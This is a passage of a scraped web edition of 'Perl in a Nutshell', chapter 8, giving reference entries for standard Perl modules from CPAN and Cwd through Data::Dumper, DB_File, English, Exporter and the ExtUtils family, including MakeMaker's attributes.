=head1 CONTENTS
This section consists of lines like this:
Module_Name [Version_String] [- optional text]
where Module_Name is the name of a module (for example, Term::ReadLine), not the name of a distribution file, and the version and text are optional. If there is text, it is preceded by a -. The distribution of a bundle should follow the same convention as other distributions.

Bundles are treated specially in the CPAN package. When you tell CPAN to install a bundle, it installs all the modules in the CONTENTS section of the pod. You can install your own bundles locally by placing a conforming bundle file somewhere in your @INC path. The autobundle command available in the shell interface does that for you by including all currently installed modules in a snapshot bundle file (see Chapter 2).

8.35.3 Configuration

When the CPAN module is installed, a site-wide configuration file is created as CPAN/Config.pm. The default values defined there can be overridden locally in the file CPAN/MyConfig.pm. You can store this file in $HOME/.cpan/CPAN/MyConfig.pm, because $HOME/.cpan is added to the search path of the CPAN module before the use or require statements. Chapter 2 lists the keys defined in the hash reference $CPAN::Config and how to set and query them.

8.35.4 CD-ROM Support

The urllist parameter in the configuration table contains a list of URLs to be used for downloading. If the list contains any file URLs, CPAN looks there first for files (except index files). So if you are using a CD-ROM containing the CPAN contents, include the CD-ROM as a file URL at the end of urllist since it is likely to be out-of-date. You can do this with:

o conf urllist push file://localhost/CDROM/CPAN

Previous: 8.34 constant | Perl in a Nutshell | Next: 8.36 CPAN::FirstTime
8.34 constant | Book Index | 8.36 CPAN::FirstTime


[Chapter 8] 8.36 CPAN::FirstTime

Perl in a Nutshell

Perl in a NutshellSearch this book

8.36 CPAN::FirstTime

The CPAN::FirstTime module has one function, init, which is an initialization routine called automatically the first time a user uses the CPAN module. It asks the user a series of questions, and writes the answers into a CPAN::Config file.

Previous: 8.35 CPAN | Perl in a Nutshell | Next: 8.37 CPAN::Nox
8.35 CPAN | Book Index | 8.37 CPAN::Nox


[Chapter 8] 8.37 CPAN::Nox

Perl in a Nutshell

Perl in a NutshellSearch this book

8.37 CPAN::Nox

A wrapper for CPAN.pm that prevents the use of any compiled extensions while it's executing. Run it in interactive mode if you have upgraded Perl and now your extensions aren't working:

perl -MCPAN::Nox -eshell;

Previous: 8.36 CPAN::FirstTime | Perl in a Nutshell | Next: 8.38 Cwd
8.36 CPAN::FirstTime | Book Index | 8.38 Cwd


[Chapter 8] 8.38 Cwd

Perl in a Nutshell

Perl in a NutshellSearch this book

8.38 Cwd

The Cwd module provides three functions that get the pathname of the current working directory. Using these functions instead of the pwd command will make your code more portable, because not all systems have pwd.

  • cwd
  • getcwd
  • fastcwd

Previous: 8.37 CPAN::Nox | Perl in a Nutshell | Next: 8.39 Data::Dumper
8.37 CPAN::Nox | Book Index | 8.39 Data::Dumper


[Chapter 8] 8.39 Data::Dumper

Perl in a Nutshell

Perl in a NutshellSearch this book

8.39 Data::Dumper

Converts Perl data structures into strings that can be printed or used with eval to reconstruct the original structures. Takes a list of scalars or reference variables and writes out their contents in Perl syntax. Several interfaces to Data::Dumper are provided:

  • Simple procedural interface:

    print Dumper($foo, $bar);

  • Extended usage with names:

    print Data::Dumper->Dump([$foo, $bar], [qw(foo *ary)]);

  • Object-oriented interface:

    $d = Data::Dumper->new([$foo, $bar], [qw(foo *ary)]);
   ...
print $d->Dump;

By default, references are identified as $VARn, where n is a numeric suffix. References to substructures within $VARn are labeled using arrow notation. In the extended usage form, references can be given user-specified names. See the Data::Dumper manpage for examples of the module's use.

Several configuration variables can be used to control the output generated using the procedural interface. These variables control the default state of the object created by the new method. Each variable has a corresponding method that can be used later to query or modify the object. In the following list, each variable is followed by the corresponding method:

$Data::Dumper::Bless
$obj->Bless([newval])

Can be set to a string that specifies an alternative to the bless builtin operator used to create objects. A function with the specified name should exist and should accept the same arguments as the builtin. Default is bless.

$Data::Dumper::Deepcopy
$obj->Deepcopy([newval])

If set to Boolean value, enables deep copies of structures; cross-referencing is then only done when absolutely essential. Default is 0.

$Data::Dumper::Indent
$obj->Indent([newval])

Controls the style of indentation for the output. Can be set to:

0 No newlines, indentation, or spaces between list items
1

Newlines, but each level in the structure is indented a fixed amount

2

Default. Takes into account the length of hash keys so the hash values line up.

3

Like 2, but also annotates array elements with their index, with each annotation on its own line

$Data::Dumper::Freezer

$obj->Freezer([newval])

If set to a method name, Data::Dumper invokes that method via the object before attempting to turn it into a string. Set to an empty string to disable. Default is empty string.

$Data::Dumper::Pad
$obj->Pad([newval])

Specifies the string that is prefixed to every output line. Default is an empty string.

$Data::Dumper::Purity
$obj->Purity([newval])

Controls degree to which eval can recreate the original reference structures. Setting the value to 1 outputs additional Perl statements to correctly recreate nested references. Default is 0.

$Data::Dumper::Quotekeys
$obj->Quotekeys([newval])

If set to a Boolean value, controls whether hash keys are quoted. If false, avoids quoting hash keys that look like a simple string. Default is 1, which always quotes hash keys.

$Data::Dumper::Terse
$obj->Terse([newval])

When set, Data::Dumper outputs single, non-self-referential values as atoms or terms rather than as statements. $VARn names are avoided as much as possible. Such output may not be parsable by eval.

$Data::Dumper::Toaster
$obj->Toaster([newval])

If set to a method name, Data::Dumper issues a method call for any objects that are to be dumped using the syntax bless(data, class)->method(). Set to an empty string to disable. Default is empty string.

$Data::Dumper::Useqq
$obj->Useqq([newval])

When set, enables the use of double quotes to represent string values. In addition, \n, \t, and \r are used to represent non-space whitespace; "unsafe" characters are backslashed; and unprintable characters are output as quoted octal integers. Default is 0. Currently, the Dumpxs method does not honor this flag.

$Data::Dumper::Varnam
$obj->Varname([newval])

Specifies the prefix to use for tagging variable names in the output. Default is VAR.

The following methods and functions are provided:

  • new
  • Dump
  • Dumper
  • DumperX
  • Dumpxs
  • Reset
  • Seen
  • Values

Previous: 8.38 Cwd | Perl in a Nutshell | Next: 8.40 DB_File
8.38 Cwd | Book Index | 8.40 DB_File


[Chapter 8] 8.40 DB_File

Perl in a Nutshell

Perl in a NutshellSearch this book

8.40 DB_File

Ties a Perl hash to one of the Berkeley DB database types and lets you use functions provided in the DB API:

[$X =] tie %hash,  "DB_File", $filename [, $flags, $mode, $DB_HASH];
[$X =] tie %hash,  "DB_File", $filename, $flags, $mode, $DB_BTREE;
[$X =] tie @array, "DB_File", $filename, $flags, $mode, $DB_RECNO;
The types are:

$DB_HASH

Stores key/data pairs in data files; equivalent to other hashing packages like DBM, NDBM, ODBM, GDBM, and SDBM.

$DB_BTREE

Stores key/data pairs in a binary tree.

$DB_RECNO

Uses a record (line) number to access fixed-length and variable-length flat text files through the same key/value-pair interface as in $DB_HASH and $DB_BTREE.

After you've tied a hash to a database:

$db = tie %hash, "DB_File", "filename";
you can access the Berkeley DB API functions:
$db->put($key, $value, R_NOOVERWRITE);  # invoke the DB "put" function
All the functions defined in the dbopen(3) manpage are available except close and dbopen itself. The constants defined in the dbopen manpage are also available.

Here are the functions available (the comments note only the differences from the equivalent C function):

  • del
  • fd
  • get
  • put
  • seq
  • sync

Previous: 8.39 Data::Dumper | Perl in a Nutshell | Next: 8.41 Devel::SelfStubber
8.39 Data::Dumper | Book Index | 8.41 Devel::SelfStubber


[Chapter 8] 8.41 Devel::SelfStubber

Perl in a Nutshell

Perl in a NutshellSearch this book

8.41 Devel::SelfStubber

Generates stubs in a module that uses the SelfLoader, either printing the necessary stubs or generating the whole module with the stubs inserted in the correct location before the __DATA__ token. The default is to just print the stubs.

  • stub

Previous: 8.40 DB_File | Perl in a Nutshell | Next: 8.42 diagnostics
8.40 DB_File | Book Index | 8.42 diagnostics


[Chapter 8] 8.42 diagnostics

Perl in a Nutshell

Perl in a NutshellSearch this book

8.42 diagnostics

Provides more descriptive diagnostics than those generated by the Perl compiler and interpreter. Uses the longer, more explanatory error messages found in the perldiag manpage. Can be used as a pragma or as a standalone program, splain. When used as a pragma, diagnostics affects the compilation phase of your program as well as the execution phase. As a standalone module, it is used to post-process errors after execution has completed.

The splain program links to diagnostics.pm to act on the standard error output of a Perl program. The program's output can be sent to a file, which is then used as input to splain, or it can be piped directly to splain. Output from splain is directed to STDOUT.

8.42.1 Options

-p

Sets the variable $diagnostics::PRETTY to true.

-v

Prints the perldiag manpage introduction, then any diagnostic messages.

As a pragma:

use diagnostics [-verbose]
enables the use of diagnostics in your program (and enables Perl's -w flag). Compilation is then subject to the enhanced diagnostics, which are issued to STDERR. Set the diagnostics::PRETTY variable in a BEGIN block to provide nicer escape sequences for pagers, so your output looks better. The -verbose option prints the perldiag manpage introduction, then any diagnostic messages. Functions are:

enable

Turns diagnostics on at runtime.

disable

Turns diagnostics off at runtime.

Previous: 8.41 Devel::SelfStubber | Perl in a Nutshell | Next: 8.43 DirHandle
8.41 Devel::SelfStubber | Book Index | 8.43 DirHandle


[Chapter 8] 8.43 DirHandle

Perl in a Nutshell

Perl in a NutshellSearch this book

8.43 DirHandle

Provides methods for accessing Perl's directory functions, avoiding namespace pollution. Creates anonymous glob to hold a directory handle and closes the dirhandle automatically when the last reference goes out of scope. The methods provided are:

  • new
  • close
  • open
  • read
  • rewind

Previous: 8.42 diagnostics | Perl in a Nutshell | Next: 8.44 DynaLoader
8.42 diagnostics | Book Index | 8.44 DynaLoader


[Chapter 8] 8.44 DynaLoader

Perl in a Nutshell

Perl in a NutshellSearch this book

8.44 DynaLoader

The standard Perl interface to the dynamic linking mechanisms available on many platforms.

8.44.1 Using DynaLoader

Use DynaLoader like this:

package Module;
require DynaLoader;
@ISA = qw(... DynaLoader ...);

bootstrap Module;
The bootstrap method calls your module's bootstrap routine directly if the module is statically linked into Perl. Otherwise the module inherits the bootstrap method from DynaLoader, which loads in your module and calls its bootstrap method.

8.44.2 Extending to New Architectures

If you want to extend DynaLoader to a new architecture, you need to know about its internal interface. The variables it uses are:

$dl_debug

Enables internal debugging messages on the Perl side of the DynaLoader; by default, is set to $ENV{'PERL_DL_DEBUG'} if that is defined. A similar debugging variable is added to the C code (see dlutils.c) and enabled if Perl was built with the -DDEBUGGING flag, or it can be set via the PERL_DL_DEBUG environment variable. Set to 1 for minimal information or higher for more detail.

@dl_library_path

Default list of directories to search for libraries; initialized to hold the list of directories in $Config{'libpth'}. Should also be initialized with other directories that can be determined from the environment at runtime.

@dl_resolve_using

List of additional libraries or other shared objects for resolving undefined symbols. Required only on platforms without automatic handling for dependent libraries.

@dl_require_symbols

List of one or more symbol names in the library/object file to be dynamically loaded. Only required on some platforms.

Of the following subroutines, bootstrap and dl_findfile are standard across all platforms and are defined in DynaLoader.pm. The others are defined in the .xs file that supplies the implementation for the platform.

  • bootstrap
  • dl_error
  • dl_expandspec
  • dl_findfile
  • dl_find_symbol
  • dl_install_xsub
  • dl_load_file
  • dl_undef_symbols

Previous: 8.43 DirHandle | Perl in a Nutshell | Next: 8.45 English
8.43 DirHandle | Book Index | 8.45 English


[Chapter 8] 8.45 English

Perl in a Nutshell

Perl in a NutshellSearch this book

8.45 English

Provides aliases for the Perl built-in special variables. Everything else about the variables and their use remains the same. Be aware, though, that using the English module significantly slows down a program for regular expressions.

Some of the Perl variables match some awk built-in variables. For those cases, you'll find two English names: a short version (which is the awk name) and a longer version. For example, you can use either $ERRNO (the awk name) or $OS_ERROR to refer to the Perl variable $!.

Here is the list of variables, and their English alternatives:

Perl | English | Perl | English
@_ | @ARG | $? | $CHILD_ERROR
$_ | $ARG | $! | $OS_ERROR
$% | $MATCH | $! | $ERRNO
$` | $PREMATCH | $@ | $EVAL_ERROR
$' | $POSTMATCH | $$ | $PROCESS_ID
$+ | $LAST_PAREN_MATCH | $$ | $PID
$. | $INPUT_LINE_NUMBER | $< | $REAL_USER_ID
$. | $NR | $< | $UID
$/ | $INPUT_RECORD_SEPARATOR | $> | $EFFECTIVE_USER_ID
$/ | $RS | $> | $EUID
$| | $OUTPUT_AUTOFLUSH | $( | $REAL_GROUP_ID
$, | $OUTPUT_FIELD_SEPARATOR | $( | $GID
$, | $OFS | $) | $EFFECTIVE_GROUP_ID
$\ | $OUTPUT_RECORD_SEPARATOR | $) | $EGID
$\ | $ORS | $0 | $PROGRAM_NAME
$" | $LIST_SEPARATOR | $] | $PERL_VERSION
$; | $SUBSCRIPT_SEPARATOR | $^A | $ACCUMULATOR
$; | $SUBSEP | $^D | $DEBUGGING
$% | $FORMAT_PAGE_NUMBER | $^F | $SYSTEM_FD_MAX
$= | $FORMAT_LINES_PER_PAGE | $^I | $INPLACE_EDIT
$- | $FORMAT_LINES_LEFT | $^P | $PERLDB
$~ | $FORMAT_NAME | $^T | $BASETIME
$^ | $FORMAT_TOP_NAME | $^W | $WARNING
$: | $FORMAT_LINE_BREAK_CHARACTERS | $^X | $EXECUTABLE_NAME
$^L | $FORMAT_LINEFEED | $^O | $OSNAME

Previous: 8.44 DynaLoader | Perl in a Nutshell | Next: 8.46 Env
8.44 DynaLoader | Book Index | 8.46 Env


[Chapter 8] 8.46 Env

Perl in a Nutshell

Perl in a NutshellSearch this book

8.46 Env

Lets your program treat environment variables as simple variables instead of having to access them from the %ENV pseudo-hash where they are kept.

use Env;

use Env qw(var1 var2 ...);
Internally, Env uses an import function that ties suitably named environment variables to global Perl variables with the same names. By default, it ties all variables yielded by keys %ENV. A "suitable" environment has a name that begins with an alphabetic character and contains only alphanumeric characters or underscores.

When use Env is invoked with arguments, the arguments are interpreted as a list of environment variables to tie, but the variables don't have to exist yet. After a variable has been tied, you can use it like a normal variable, accessing or changing its value.

You untie a variable by setting its value to undef.

Previous: 8.45 English | Perl in a Nutshell | Next: 8.47 Errno
8.45 English | Book Index | 8.47 Errno


[Chapter 8] 8.47 Errno

Perl in a Nutshell

Perl in a NutshellSearch this book

8.47 Errno

Provides system errno constants from errno.h include file. Defines and conditionally exports all the error constants defined in errno.h. There is one export tag, :POSIX, which exports all POSIX-defined error numbers.

The file Errno.pm is automatically generated and shouldn't be updated. Any changes made to the file will be lost.

Previous: 8.46 Env | Perl in a Nutshell | Next: 8.48 Exporter
8.46 Env | Book Index | 8.48 Exporter


[Chapter 8] 8.48 Exporter

Perl in a Nutshell

Perl in a NutshellSearch this book

8.48 Exporter

Implements a default import method for other modules to inherit if they don't want to define their own. If you are writing a module, you can do the following:

package Module;
use Exporter ();
@ISA = qw(Exporter);

@EXPORT = qw(...);
@EXPORT_OK = qw(...);
%EXPORT_TAGS = (tag => [...]);
where @EXPORT is a list of symbols to export by default, @EXPORT_OK is a list of symbols to export on request, and %EXPORT_TAGS is a hash that defines names for sets of symbols. Names in %EXPORT_TAGS must also appear in @EXPORT or @EXPORT_OK.

Then Perl programs that want to use your module just say:

use Module;                 # Import default symbols
use Module qw(...);         # Import listed symbols
use Module ();              # Do not import any symbols
The Exporter can handle specialized import lists. An import list is the list of arguments passed to the import method. If the first entry begins with !, :, or /, the list is treated as a series of specifications that add to or delete from the list. A leading ! means delete, rather than add.

Symbol | Meaning
[!]name | This name only
[!]:DEFAULT | All names in @EXPORT
[!]:tag | All names in $EXPORT_TAGS{tag} anonymous list
[!]/pattern/ | All names in @EXPORT and @EXPORT_OK that match pattern

Exporter methods are:

  • export_to_level
  • import
  • require_version
  • export_fail
  • export_tags
  • export_ok_tags

Previous: 8.47 Errno | Perl in a Nutshell | Next: 8.49 ExtUtils::Command
8.47 Errno | Book Index | 8.49 ExtUtils::Command


[Chapter 8] 8.49 ExtUtils::Command

Perl in a Nutshell

Perl in a NutshellSearch this book

8.49 ExtUtils::Command

Provided with the standard Win32 port to replace common Unix commands in MakeFiles. Includes subroutines for the following commands:

  • cat
  • chmod
  • cp
  • eqtime
  • mkpath
  • mv
  • rm_f
  • rm_rf
  • test_f
  • touch

Previous: 8.48 Exporter | Perl in a Nutshell | Next: 8.50 ExtUtils::Embed
8.48 Exporter | Book Index | 8.50 ExtUtils::Embed


[Chapter 8] 8.50 ExtUtils::Embed

Perl in a Nutshell

Perl in a NutshellSearch this book

8.50 ExtUtils::Embed

Generally called from the Makefile that builds your application to provide initialization functions for embedding Perl code in C or C++ applications. For example:

perl -MExtUtils::Embed -e xsinit
perl -MExtUtils::Embed -e ldopts
Uses the configuration information kept in Config.pm (see the Config module, above). Exports the following functions:

  • ccdlflags
  • ccflags
  • ccopts
  • ldopts
  • perl_inc
  • xsinit
  • xsi_header
  • xsi_protos
  • xsi_body

Previous: 8.49 ExtUtils::Command | Perl in a Nutshell | Next: 8.51 ExtUtils::Install
8.49 ExtUtils::Command | Book Index | 8.51 ExtUtils::Install


[Chapter 8] 8.51 ExtUtils::Install

Perl in a Nutshell

Perl in a NutshellSearch this book

8.51 ExtUtils::Install

Used by MakeMaker for handling the platform-dependent installation and deinstallation of modules; not meant to provide general-purpose tools. Exports the following functions:

  • install
  • install_default
  • pm_to_blib
  • uninstall

Previous: 8.50 ExtUtils::Embed | Perl in a Nutshell | Next: 8.52 ExtUtils::Installed
8.50 ExtUtils::Embed | Book Index | 8.52 ExtUtils::Installed


[Chapter 8] 8.52 ExtUtils::Installed

Perl in a Nutshell

Perl in a NutshellSearch this book

8.52 ExtUtils::Installed

Provides inventory management for installed modules, based on the contents of the .packlist files that are created during installation. It also permits classifying the installed files and extracting directory information from the .packlist files.

  • new
  • directories
  • directory_tree
  • files
  • modules
  • packlist
  • validate
  • version

Previous: 8.51 ExtUtils::Install | Perl in a Nutshell | Next: 8.53 ExtUtils::Liblist
8.51 ExtUtils::Install | Book Index | 8.53 ExtUtils::Liblist


[Chapter 8] 8.53 ExtUtils::Liblist

Perl in a Nutshell

Perl in a NutshellSearch this book

8.53 ExtUtils::Liblist

Used for building a Makefile for a Perl module. Takes a list of libraries and returns platform-appropriate lines that can be included in the Makefile.

require ExtUtils::Liblist;
ExtUtils::Liblist::ext($potential_libs[, $verbose]);
The input list $potential_libs is in the form -llib1 -llib2 -llib3. Additional library paths may be included in the form -L/another/path, which affects searches for all subsequent libraries. If the Boolean $verbose is specified, verbose output messages are provided. Returns a list of four scalar values:

EXTRALIBS

List of libraries that need to be linked with ld when linking a Perl binary that includes a static extension.

LDLOADLIBS

List of static or dynamic libraries that can or must be linked when creating a shared library using ld.

LD_RUN_PATH

Colon-separated list of the directories in LDLOADLIBS.

BSLOADLIBS

List of libraries that are needed but can be linked in dynamically with the DynaLoader at runtime.

The Win32 version (in the standard Perl distribution) has several differences from the Unix-OS/2 version:

  • -l and -L are not required on the library and path specifications.

  • Entries must be libraries, not plain object files.

  • If $potential_libs is empty, the return value is also empty.

  • The specified libraries can include both static and import libraries.

  • LDLOADLIBS and EXTRALIBS are always identical; BSLOADLIBS and LD_RUN_PATH are always empty.

Previous: 8.52 ExtUtils::Installed | Perl in a Nutshell | Next: 8.54 ExtUtils::MakeMaker
8.52 ExtUtils::Installed | Book Index | 8.54 ExtUtils::MakeMaker


[Chapter 8] 8.54 ExtUtils::MakeMaker

Perl in a Nutshell

Perl in a NutshellSearch this book

8.54 ExtUtils::MakeMaker

Writes a Makefile for use during module installation. Provides a function, WriteMakefile, which creates an object whose attributes are set from various sources and which actually writes the Makefile. See Chapter 2 for information about the use of the Makefile and MakeMaker during module installation. This section explains the details of actually creating the Makefile with MakeMaker. It assumes an understanding of make and Makefiles.

If you are a Perl programmer writing a module, you should run h2xs to generate the template for your module. Among other things, h2xs creates a file called Makefile.PL, and it's Makefile.PL that runs MakeMaker. On the other hand, if you are installing a module, you can usually just run the Makefile.PL that came with the module, perhaps adding a PREFIX argument if you are installing the module locally (see Chapter 2). In either case, you shouldn't need to run ExtUtils::MakeMaker directly unless you have special requirements.

A typical call to MakeMaker might look like this example from the CGI distribution:

use ExtUtils::MakeMaker;
WriteMakefile(
        NAME => "CGI",
        DISTNAME => "CGI-modules",
        VERSION => "2.76",
        linkext => { LINKTYPE => '' },
        dist => {COMPRESS=>'gzip -9f', SUFFIX => 'gz'},
);
MakeMaker attributes can be passed as arguments to WriteMakefile, as in the example, or they can be passed as name=value pairs on the command line:
perl Makefile.PL PREFIX=/home/mydir/Perl/Modules
To see what MakeMaker is doing, you can say:
perl Makefile.PL verbose
The following attributes can be specified:

C

Reference to array of *.c filenames. Initialized from a directory scan and the values portion of the XS attribute hash. Not currently used by MakeMaker but may be handy in Makefile.PLs.

CCFLAGS

String to be included in the compiler call command line between the INC and OPTIMIZE arguments.

CONFIG

An array reference containing a list of attributes to get from %Config. The following values are always added to CONFIG:

ar       cc          cccdlflags   ccdlflags
dlext    dlsrc       ld           lddlflags
ldflags  libc        lib_ext      obj_ext
ranlib   sitelibexp  sitearchexp  so

CONFIGURE

Reference to a subroutine that should return a hash reference. The hash may contain further attributes that need to be determined by some evaluation method.

DEFINE

An attribute containing additional defines.

DIR

Reference to array of subdirectories containing Makefile.PL files.

DISTNAME

Your name for distributing the package (by tar file). Defaults to NAME, below.

DL_FUNCS

Reference to a hash of symbol names for routines to be made available as universal symbols. Each key/value pair consists of the package name and an array of routine names in that package. Used only under AIX (export lists) and VMS (linker options) at present. Defaults to "$PKG" => ["boot_$PKG"].

DL_VARS

Array of symbol names for variables to be made available as universal symbols. Used only under AIX (export lists) and VMS (linker options) at present. Defaults to [].

EXCLUDE_EXT

Array of module names to exclude when doing a static build. Ignored if INCLUDE_EXT is present.

EXE_FILES

Reference to array of executable files to be copied to the INST_SCRIPT directory. make realclean deletes them from there.

NO_VC

If set, the Makefile does not check the current version of MakeMaker against the version the Makefile was built under. Should be used interactively, not written into your Makefile.PL file.

FIRST_MAKEFILE

Name of the Makefile to be produced. Defaults to the contents of MAKEFILE, but can be overridden.

FULLPERL

Perl binary that can run this module.

H

Reference to array of *.h filenames. Similar to C attribute.

IMPORTS

Used only on OS/2.

INC

Directories containing include files, in -I form. For example:

INC => "-I/usr/5include -I/path/to/inc"

INCLUDE_EXT

Array of module names to be included when doing a static build. If present, only those modules that are explicitly mentioned are used for the build (instead of all installed extensions). It is not necessary to mention DynaLoader or the current module when filling in INCLUDE_EXT - they are always included.

INSTALLARCHLIB

Used by make install, which copies files from INST_ARCHLIB to this directory if INSTALLDIRS is set to perl.

INSTALLBIN

Directory to install binary files into.

INSTALLDIRS

Determines which of the two sets of installation directories to choose. There are two possible values:

perl

Uses INSTALLLPRIVLIB and INSTALLARCHLIB directories.

site

The default. Uses INSTALLSITELIB and INSTALLSITEARCH directories.

INSTALLMAN1DIR

Directory where command man pages are put during make install. Defaults to $Config{installman1dir}.

INSTALLMAN3DIR

Directory where library man pages are put during make install. Defaults to $Config{installman3dir}.

INSTALLPRIVLIB

Used by make install, which copies files from INST_LIB to this directory if INSTALLDIRS is set to perl.

INSTALLSCRIPT

Used by make install, which copies files from INST_SCRIPT to this directory.

INSTALLSITELIB

Used by make install, which copies files from INST_LIB to this directory if INSTALLDIRS is set to site (the default).

INSTALLSITEARCH

Used by make install, which copies files from INST_ARCHLIB to this directory if INSTALLDIRS is set to site (the default).

INST_ARCHLIB

Same as INST_LIB for architecture-dependent files.

INST_BIN

Directory where real binary files are put during make, for later copying to INSTALLBIN during make install.

INST_EXE

Deprecated. Old name for INST_SCRIPT, which you should use instead.

INST_LIB

Directory to hold library files for this module while it is being built.

INST_MAN1DIR

Directory to hold the command manpages at make time.

INST_MAN3DIR

Directory to hold the library manpages at make time.

INST_SCRIPT

Directory where executable files should be installed during make. Defaults to ./blib/bin, to have a dummy location during testing. make install copies the files in INST_SCRIPT to INSTALLSCRIPT.

LDFROM

Used by the ld command to specify the files to link/load from. Defaults to $(OBJECT).

LIBPERL_A

Filename of the Perl library that will be used with this module. Defaults to libperl.a.

LIB

Can only be set at when Makefile.PL is run; both INSTALLPRIVLIB and INSTALLSITELIB are set to the value of LIB.

LIBS

Anonymous array of alternative library specifications to be searched for (in order) until at least one library is found. Note that any element of the array contains a complete set of arguments for the ld command.

LINKTYPE

Should be used only to force static linking (see linkext below). Possible values are static or dynamic. Default is dynamic unless usedl=undef in config.sh.

MAKEAPERL

Boolean. Tells MakeMaker to include the rules for making a Perl binary. Normally handled automatically by MakeMaker and not needed by the user.

MAKEFILE

Name of the Makefile to be produced.

MAN1PODS

Reference to a hash of pod-containing files to be converted to manpages and installed as requested at configure time. Default is all EXE_FILES files that include pod directives.

MAN3PODS

Reference to a hash of .pm and .pod files to be converted to manpages and installed as requested at configure time. Default is all .pod and any .pm files that include pod directives.

MAP_TARGET

Name for new Perl binary if one is to be produced. Default is perl.

MYEXTLIB

Name of library that the module builds and links to.

NAME

Perl module name for this module (e.g., DBD::Oracle). Defaults to the directory name but should be explicitly defined in the Makefile.PL.

NEEDS_LINKING

Boolean. Can be set to speed up MakeMaker processing a very little bit, but not needed since MakeMaker will figure out if linking is needed.

NOECHO

Controls make's echo (@) feature. Defaults to @. By setting it to an empty string, you can generate a Makefile that echos all commands. Used mainly in debugging MakeMaker itself.

NORECURS

Boolean. If set, inhibits descending into subdirectories.

OBJECT

List of object files. Defaults to $(BASEEXT)$(OBJ_EXT); can be set to a long string containing all object files.

OPTIMIZE

If set to -g, turns debugging on. Defaults to -O. Passed to subdirectory makes.

PERL

Perl binary for tasks that can be done by miniperl.

PERLMAINCC

The call to the program that can compile perlmain.c. Defaults to $(CC).

PERL_LIB

Directory containing the Perl library to use.

PERL_ARCHLIB

Same as PERL_LIB for architecture-dependent files.

PERL_SRC

Directory containing the Perl source code. Avoid using this attribute, since it may be undefined.

PL_FILES

Reference to hash of files to be processed as Perl programs. By default, MakeMaker turns any *.PL file it finds (except the Makefile.PL) into a key and the basename of the file into the value. The *.PL files are expected to produce output to the target files themselves.

PM

Reference to hash of .pm and *.pl files to be installed.

PMLIBDIRS

Reference to array of subdirectories containing library files. Defaults to ['lib', $(BASEEXT)]. The directories are scanned and any files they contain are installed in the corresponding location in the library. A libscan method can be used to alter the behavior. Defining PM in the Makefile.PL overrides PMLIBDIRS.

PREFIX

Can be used to set the three INSTALL* attributes at once so that they have PREFIX as a common directory node.

PREREQ_PM

Reference to a hash of modules that need to be available to run this module (e.g., Fcntl for SDBM_File). The name of each required module is the key and the desired version is the value. If the required version is 0, MakeMaker just checks to see if any version is installed.

SKIP

Reference to an array specifying sections of the Makefile that shouldn't be written. Do not use the SKIP attribute for the negligible speedup, which may seriously damage the resulting Makefile.

TYPEMAPS

Reference to array of typemap filenames. Use when the typemaps are in a directory other than the current directory or when they are not named typemap. The last typemap in the list takes precedence, but a typemap in the current directory has highest precedence even if it isn't listed in TYPEMAPS. The default system typemap has lowest precedence.

VERSION

Your version number for the package. Defaults to 0.1.

VERSION_FROM

Names a file for MakeMaker to parse to find the version number for the package, so you don't need to specify VERSION. The file must contain a single line to compute the version number. The first line in the file that contains the regular expression:

/([\$*])(([\w:\']*)\bVERSION)\b.*\=/
is evaluated with eval and the result assigned to VERSION.

XS

Reference to a hash of .xs files. MakeMaker defaults this. For example:

{'name_of_file.xs' => 'name_of_file.c'}
The .c files are automatically deleted by a make clean.

XSOPT

String of options to pass to xsubpp, which might include -C++ or -extern but not typemaps, which go in TYPEMAPS.

XSPROTOARG

May be set to an empty string, which is identical to -prototypes or -noprototypes. Defaults to the empty string.

XS_VERSION

Your version number for the package's .xs file. Defaults to the value of VERSION.

The following lowercase attributes can be used to pass parameters to the methods that implement the corresponding part of the Makefile:

clean

Extra files to clean.

depend

Extra dependencies.

dist

Distribution options.

dynamic_lib

Options for dynamic library support.

installpm

Installation options related to AutoSplit. Deprecated as of MakeMaker 5.23. See the pm_to_blib entry for ExtUtils::Install.

linkext

Linking style.

macro

Extra macros to define.

realclean

Extra files to make realclean.

tool_autosplit

Attributes for the tool_autosplit method.

If specifying attributes isn't sufficient to accomplish what you want, you can define your own subroutines in the Makefile.PL that returns the text to be written to the Makefile. You can also override MakeMaker's subroutines (described in Section 8.60, "ExtUtils::MM_Unix") this way.

Previous: 8.53 ExtUtils::Liblist | Perl in a Nutshell | Next: 8.55 ExtUtils::Manifest
8.53 ExtUtils::Liblist | Book Index | 8.55 ExtUtils::Manifest


[Chapter 8] 8.55 ExtUtils::Manifest

Perl in a Nutshell

Perl in a NutshellSearch this book

8.55 ExtUtils::Manifest

Provides utilities for maintaining and using a MANIFEST file. The MANIFEST file is essentially a packing list, included with a module, so the user who installs the module can be sure that all the files are actually present. The file created by ExtUtils::Manifest is a list of filenames, one per line, with an optional comment on each line.

ExtUtils::Manifest optionally uses a file called MANIFEST.SKIP, which contains regular expressions specifying files that are not to be included in MANIFEST. Manifest also defines two global variables that are used by several of the functions:

$ExtUtils::Manifest::MANIFEST

The name of the MANIFEST file. Changing the value results in different MANIFEST and different MANIFEST.SKIP files. Default is MANIFEST.

$ExtUtils::Manifest::Quiet

If true, the functions work silently. Default is 0.

Provides six functions, which are exportable on request:

  • filecheck
  • fullcheck
  • manicheck
  • manicopy
  • mkmanifest
  • manifind
  • maniread
  • skipcheck

Previous: 8.54 ExtUtils::MakeMaker | Perl in a Nutshell | Next: 8.56 ExtUtils::Miniperl
8.54 ExtUtils::MakeMaker | Book Index | 8.56 ExtUtils::Miniperl


[Chapter 8] 8.56 ExtUtils::Miniperl

Perl in a Nutshell

Perl in a NutshellSearch this book

8.56 ExtUtils::Miniperl

Generates a file, perlmain.c, that contains the bootstrap code to make the modules associated with the libraries available from within Perl. ExtUtils::Miniperl itself is generated automatically from a script called minimod.PL when Perl is built; typically, it is used from within a Makefile generated by ExtUtils::MakeMaker rather than being called directly. The module exports one subroutine:

  • writemain

Previous: 8.55 ExtUtils::Manifest | Perl in a Nutshell | Next: 8.57 ExtUtils::Mkbootstrap
8.55 ExtUtils::Manifest | Book Index | 8.57 ExtUtils::Mkbootstrap


[Chapter 8] 8.57 ExtUtils::Mkbootstrap

Perl in a Nutshell

Perl in a NutshellSearch this book

8.57 ExtUtils::Mkbootstrap

Typically called from a module's Makefile. It writes a *.bs file that is needed by some architectures to do dynamic loading.

use ExtUtils::Mkbootstrap;
mkbootstrap();

Previous: 8.56 ExtUtils::Miniperl | Perl in a Nutshell | Next: 8.58 ExtUtils::Mksymlists
8.56 ExtUtils::Miniperl | Book Index | 8.58 ExtUtils::Mksymlists


[Chapter 8] 8.58 ExtUtils::Mksymlists

Perl in a Nutshell

Perl in a NutshellSearch this book

8.58 ExtUtils::Mksymlists

